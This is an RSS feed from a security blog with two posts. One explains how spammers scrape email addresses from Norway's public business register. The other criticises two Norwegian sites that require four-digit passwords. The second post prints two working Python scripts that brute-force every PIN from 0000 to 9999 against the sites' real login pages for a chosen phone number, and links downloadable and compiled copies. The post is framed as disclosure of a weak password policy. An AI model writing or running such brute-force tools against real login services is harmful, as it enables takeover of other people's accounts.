<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>multigeeks.com</title>
	<atom:link href="http://multigeeks.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://multigeeks.com</link>
	<description>A blog about technology, security, mobility, data mining, programming, life and ... stuff.</description>
	<lastBuildDate>Fri, 17 Feb 2012 13:54:23 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How email marketers harvest addresses to target Norwegian businesses</title>
		<link>http://multigeeks.com/2012/01/how-email-marketers-harvest-addresses-to-target-norwegian-businesses/</link>
		<comments>http://multigeeks.com/2012/01/how-email-marketers-harvest-addresses-to-target-norwegian-businesses/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 21:54:24 +0000</pubDate>
		<dc:creator>ed</dc:creator>
				<category><![CDATA[Spam]]></category>
		<category><![CDATA[Spidering]]></category>

		<guid isPermaLink="false">http://multigeeks.com/?p=75</guid>
		<description><![CDATA[I registered my sole proprietorship back in 2008, mostly to be able to register domains under the Norwegian TLD, .no. What I noticed from the very beginning was that I received a lot of spam on an email address that never was published. The only place the said email address is used, is in the public [...]]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://multigeeks.com/wp-content/uploads/2012/01/spam3.png"><img class="alignright size-full wp-image-153" title="spam" src="http://multigeeks.com/wp-content/uploads/2012/01/spam3.png" alt="" width="200" height="154" /></a>I registered my sole proprietorship back in 2008, mostly to be able to register domains under the Norwegian TLD, .no. What I noticed from the very beg</strong><strong>i</strong><strong>n</strong><strong>ning was that I received a lot of spam on an email address that never was published.</strong></p>
<p>The only place the said email address is used, is in the public company database which <a href="http://brreg.no">Brønnøysundregistrene</a> keeps. Brønnøysundregistrene (English: Brønnøysund Register Centre) is the governmental agency responsible for business registrations<strong> </strong>in Norway.</p>
<p>What struck me as a bit impressive was how quickly the marketers seemed to pick up my email address. After doing a little bit of research, I realized that it is quite easy to harvest email addresses and other business information from the Brønnøysund Register Centre. According to a friend of mine who confronted a Brønnøysund Register Centre representative with this issue, they also sell company records to marketers. Spammers, marketers, phishers and others wanting this information without paying, can easily harvest it for free.</p>
<p>When changes happen within companies &#8211;  including new business registrations &#8211; they have to report to the Brønnøysund Register Center. This is considered public information, is <a href="http://w2.brreg.no/kunngjoring/kombisok.jsp?datoFra=23.01.2012">posted online</a>, and is even <a href="http://w2.brreg.no/kunngjoring/index.jsp">searchable</a>. <a href="http://w2.brreg.no/kunngjoring/kombisok.jsp?datoFra=01.01.2012&amp;datoTil=15.01.2012&amp;id_region=0&amp;id_niva1=2+&amp;id_bransje1=0">This link</a> lists all the new business registrations between January 1st<br />
and January 15th, 2012.</p>
<p>If we take a look at that last link, we will see that there were 1224 new business registrations between January 1st and January 15th. Taking a look at the source code, we see that it is very spider-friendly. The following company record, belonging to Firstrank AS,  is an example of a much criticized company that previously has been using email marketing to target Norwegian companies with unsolicited spam:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;td&gt;&lt;p&gt;FIRSTRANK AS&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td nowrap&gt;&lt;p&gt;977 036 410&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td nowrap&gt;&lt;p&gt;18.12.1996&lt;/p&gt;&lt;/td&gt;
</pre>
<p>To collect email addresses, a marketer would first harvest the site for organization numbers. Organization numbers are nine digit numbers used to identify a company. After harvesting organization numbers, a marketer would then use these numbers to <a href="http://w2.brreg.no/enhet/sok/detalj.jsp?orgnr=977036410">search the Brønnøysund Register Centre</a> for company records.</p>
<p>For each organization number they would check, they would collect the contact email address of the company. The page where the company&#8217;s contact email address is specified, is also very spider-friendly:</p>
<pre class="brush: xml; title: ; notranslate">
&lt;p&gt;
&lt;a href=&quot;mailto:post@firstrank.no&quot;&gt;post@firstrank.no&lt;/a&gt;
&lt;/p&gt;
</pre>
<p>Going through the source automatically, one is able to extract only the interesting info very easily. For example, this line of Python uses RegEx to perform a greedy extract of the line of HTML containing the email address:</p>
<pre class="brush: python; title: ; notranslate">
re.search('&lt;a href=&quot;mailto:(.+)&quot;&gt;', '&lt;a href=&quot;mailto:post@firstrank.no&quot;&gt;post@firstrank.no&lt;/a&gt;').group(1)
</pre>
<p>Output:</p>
<pre class="brush: python; title: ; notranslate">
post@firstrank.no
</pre>
<p>This should give you an idea of how easy it is to harvest email addresses belonging to Norwegian businesses.</p>
<p>I would suggest that the Brønnøysund Register Centre implements some kind of solution that makes it harder to harvest email addresses. An example of such solution would be to use OCR-proof images instead of just plain text, although it is not text-to-speech friendly.</p>
<p>As I am not a big fan of unsolicited emailing, I will from now on post some of the spam emails I receive and dig up as much information about the sender as possible to put them in a bad light.</p>
]]></content:encoded>
			<wfw:commentRss>http://multigeeks.com/2012/01/how-email-marketers-harvest-addresses-to-target-norwegian-businesses/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why a four digit password is a bad idea</title>
		<link>http://multigeeks.com/2008/12/why-a-four-digit-password-is-a-bad-idea/</link>
		<comments>http://multigeeks.com/2008/12/why-a-four-digit-password-is-a-bad-idea/#comments</comments>
		<pubDate>Thu, 18 Dec 2008 14:11:05 +0000</pubDate>
		<dc:creator>ed</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[folk]]></category>
		<category><![CDATA[folk.no]]></category>
		<category><![CDATA[inpoc]]></category>
		<category><![CDATA[inpoc.no]]></category>
		<category><![CDATA[insecurity]]></category>
		<category><![CDATA[passwords]]></category>

		<guid isPermaLink="false">http://multigeeks.com/?p=41</guid>
		<description><![CDATA[You&#8217;ve heard it before. Over and over again. A password just can&#8217;t be too strong, but you and I both know how tempting it is to use the name of your dog or your birth date as your password. The problem with picking an easy-to-guess password is &#8211; not surprisingly &#8211; that it&#8217;s easy to [...]]]></description>
			<content:encoded><![CDATA[<p><strong>You&#8217;ve heard it before.</strong> Over and over again. A password just can&#8217;t be too strong, but you and I both know how tempting it is to use the name of your dog or your birth date as your password. The problem with picking an easy-to-guess password is &#8211; not surprisingly &#8211; that it&#8217;s easy to guess, even by strangers. And &#8216;guessing&#8217; doesn&#8217;t necessarily mean manually typing in each guessed password; it can be done automatically with some minimal programming knowledge.</p>
<p><strong>Naturally</strong>, you&#8217;re aware of this and you&#8217;re trying your very best to use strong passwords all around. While this indeed is a good practise, it&#8217;s not always possible. Some websites and systems may actually force you to use insecure and sometimes unchangeable passwords. Examples of such websites are <a href="http://folk.no">Folk.no</a> and <a href="http://inpoc.no">Inpoc.no</a>. Both sites are owned by a company named Aspiro AS, which again is owned by <a href="http://en.wikipedia.org/wiki/Schibsted">Schibsted</a>; a quite big Norwegian media conglomerate.</p>
<p><strong>Inpoc</strong> used to be one of the most popular Norwegian mobile phone content providers, offering products such as ringtones, screensavers and games for mobile phones. They were also quite big in offering free SMSes online. Today, sites like <a href="http://biip.no">Biip.no</a> have taken over, but Inpoc still seems to be semi-popular; especially for sending free SMSes online.</p>
<p><strong>Folk.no</strong> is also owned by Aspiro (Schibsted) and is basically a site to help find information about people, such as phone numbers, addresses, websites. They also provide profile sites for members, making them able to serve even more information about people. Inpoc.no and Folk.no obviously share the same user database and members of Inpoc have to log into Folk.no to send SMSes, which brings us back to the main point of this blog entry. <strong></strong></p>
<p><strong>When registering</strong> at Inpoc or Folk.no, you get a passcode of four digits sent as an SMS to your cellphone. This passcode is used to verify that you&#8217;re the actual owner of the number you&#8217;re trying to sign up with. After verifying this on the site, you get to log in with the very same four digits as your permanent password. As if that&#8217;s not bad enough, you don&#8217;t even get to change your password to a secure one! You&#8217;re forced to choose a password consisting of four digits &#8211; no other characters are allowed.</p>
<p>If you&#8217;ve forgotten your password, you may request it and have it sent as an SMS to your phone. This basically means that all the passwords in the database are in cleartext. Not that it actually matters with such a horrible password policy.</p>
<p><strong>This made me</strong> go get some coffee and open up a <a href="http://python.org">Python</a> shell and <a href="http://notepad-plus.sourceforge.net/uk/site.htm">Notepad++</a>. Half an hour later, I came up with this piece of messy code:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span>
&nbsp;
phonenumber	=	<span style="color: #008000;">raw_input</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Enter phone number: '</span><span style="color: black;">&#41;</span>
status		=	<span style="color: #ff4500;">1</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> num <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">10000</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">if</span> status == <span style="color: #ff4500;">0</span>:
		<span style="color: #ff7700;font-weight:bold;">break</span>
	<span style="color: #ff7700;font-weight:bold;">else</span>:
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
			num	=	<span style="color: #483d8b;">'000'</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>:
			num	=	<span style="color: #483d8b;">'00'</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span>:
			num =	<span style="color: #483d8b;">'0'</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
&nbsp;
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">1000</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Trying '</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
		params			=	<span style="color: black;">&#123;</span><span style="color: black;">&#125;</span>
		params<span style="color: black;">&#91;</span><span style="color: #483d8b;">'vsp_username'</span><span style="color: black;">&#93;</span>	=	phonenumber
		params<span style="color: black;">&#91;</span><span style="color: #483d8b;">'vsp_password'</span><span style="color: black;">&#93;</span>	=	num
		params			=	<span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlencode</span><span style="color: black;">&#40;</span>params<span style="color: black;">&#41;</span>
		runit			=	<span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlopen</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'http://inpoc.no/?read=true&amp;amp;read=true'</span>, params<span style="color: black;">&#41;</span>
		runitstr		=	runit.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">for</span> word <span style="color: #ff7700;font-weight:bold;">in</span> runitstr.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
			word	=	word.<span style="color: black;">replace</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>, <span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
			word	=	word.<span style="color: black;">replace</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span>, <span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
			find	=	<span style="color: #dc143c;">re</span>.<span style="color: black;">match</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'id=&quot;tc&quot;&amp;gt;&amp;lt;h1&amp;gt;Logget'</span>, word<span style="color: black;">&#41;</span>
			<span style="color: #ff7700;font-weight:bold;">if</span> find:
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">1000</span>
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Tries: '</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Password is '</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
				status	=	<span style="color: #ff4500;">0</span>
				<span style="color: #ff7700;font-weight:bold;">break</span>
			<span style="color: #ff7700;font-weight:bold;">else</span>:
				<span style="color: #ff7700;font-weight:bold;">pass</span></pre></div></div>

<p><strong><br />
</strong><br />
Note that the apostrophes are converted to primes (WordPress security measure) so you might have some difficulty running it out of the box. Downloadable version available <a href="http://multigeeks.com/wp-content/uploads/2008/08/inpoc-brute.zip">here</a>, py2exe compiled version available <a href="http://multigeeks.com/wp-content/uploads/2008/08/inpoc-brute-compiled.zip">here</a>.</p>
<p><strong>To explain</strong> the code: It takes the phone number, loops from 0000 through 9999 and tries to log in with the current position of the loop as the password. If it&#8217;s successful, the password is printed out. Its speed is in average about 60 tries per minute, 1 per second. This means that it&#8217;ll take about 166 minutes or 2 hours and 46 minutes to try every password from 0 to 9999. Since they do not have any maximum limit of how many times you&#8217;re allowed to enter an incorrect password, you&#8217;re pretty much guaranteed to find somebody&#8217;s password.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span>
&nbsp;
phonenumber	=	<span style="color: #008000;">raw_input</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Enter phone number: '</span><span style="color: black;">&#41;</span>
status		=	<span style="color: #ff4500;">1</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">for</span> num <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>,<span style="color: #ff4500;">10000</span><span style="color: black;">&#41;</span>:
	<span style="color: #ff7700;font-weight:bold;">if</span> status == <span style="color: #ff4500;">0</span>:
		<span style="color: #ff7700;font-weight:bold;">break</span>
	<span style="color: #ff7700;font-weight:bold;">else</span>:
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>:
			num	=	<span style="color: #483d8b;">'000'</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>:
			num	=	<span style="color: #483d8b;">'00'</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span><span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span>:
			num =	<span style="color: #483d8b;">'0'</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
&nbsp;
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">1000</span>
		<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Tries '</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
		params			=	<span style="color: black;">&#123;</span><span style="color: black;">&#125;</span>
		params<span style="color: black;">&#91;</span><span style="color: #483d8b;">'f_cellnumber'</span><span style="color: black;">&#93;</span>	=	phonenumber
		params<span style="color: black;">&#91;</span><span style="color: #483d8b;">'f_password'</span><span style="color: black;">&#93;</span>	=	num
		params<span style="color: black;">&#91;</span><span style="color: #483d8b;">'Submit.x'</span><span style="color: black;">&#93;</span>	=	<span style="color: #ff4500;">0</span>
		params<span style="color: black;">&#91;</span><span style="color: #483d8b;">'Submit.y'</span><span style="color: black;">&#93;</span>	=	<span style="color: #ff4500;">0</span>
		params<span style="color: black;">&#91;</span><span style="color: #483d8b;">'Submit'</span><span style="color: black;">&#93;</span>	=	<span style="color: #483d8b;">'Submit'</span>
		params			=	<span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlencode</span><span style="color: black;">&#40;</span>params<span style="color: black;">&#41;</span>
		runit			=	<span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlopen</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'http://folk.inpoc.no/index.ftl'</span>, params<span style="color: black;">&#41;</span>
		runitstr		=	runit.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">for</span> word <span style="color: #ff7700;font-weight:bold;">in</span> runitstr.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
			word	=	word.<span style="color: black;">replace</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>, <span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
			word	=	word.<span style="color: black;">replace</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span>, <span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
			find	=	<span style="color: #dc143c;">re</span>.<span style="color: black;">match</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'(.+)loggout.ftl&quot;&amp;gt;'</span>, word<span style="color: black;">&#41;</span>
			<span style="color: #ff7700;font-weight:bold;">if</span> find:
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\n</span>'</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">1000</span>
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Tries: '</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
				<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'Password is '</span> + <span style="color: #008000;">str</span><span style="color: black;">&#40;</span>num<span style="color: black;">&#41;</span>
				status	=	<span style="color: #ff4500;">0</span>
				<span style="color: #ff7700;font-weight:bold;">break</span>
			<span style="color: #ff7700;font-weight:bold;">else</span>:
				<span style="color: #ff7700;font-weight:bold;">pass</span></pre></div></div>

<p><strong><br />
As if</strong> that&#8217;s not enough: It&#8217;s even twice as fast as the Inpoc brute! At 120 tries per minute or 2 per second, it&#8217;ll take about 80 minutes or 1 hour and 20 minutes to finish trying every possible password. And it&#8217;ll finish a lot earlier if the password is, for instance, 2852.<br />
Downloadable version available <a href="http://multigeeks.com/wp-content/uploads/2008/08/folkno-brute.zip">here</a>, py2exe compiled version available <a href="http://multigeeks.com/wp-content/uploads/2008/08/folkno-brute-compiled.zip">here.</a><br />
<strong>The conclusion</strong> should be pretty easy to foresee: Slap yourselves, developers of Inpoc.no and Folk.no! Why on earth would you force the users to use a four digit password? I really can&#8217;t see any reason at all to do this. Laziness is perhaps one reason, but one would expect better solutions from such big companies. You might say that if someone gets access to another person&#8217;s account, they&#8217;re not able to do much harm. While this perhaps is true, sending SMSes from another person&#8217;s phone number could still cause <em>some</em> harm. Also, this is <em>not</em> how you protect people&#8217;s privacy.</p>
<p>What would happen if these developers were to make systems with more sensitive information and with the same password policies?</p>
<p><strong>We&#8217;ll see.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://multigeeks.com/2008/12/why-a-four-digit-password-is-a-bad-idea/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

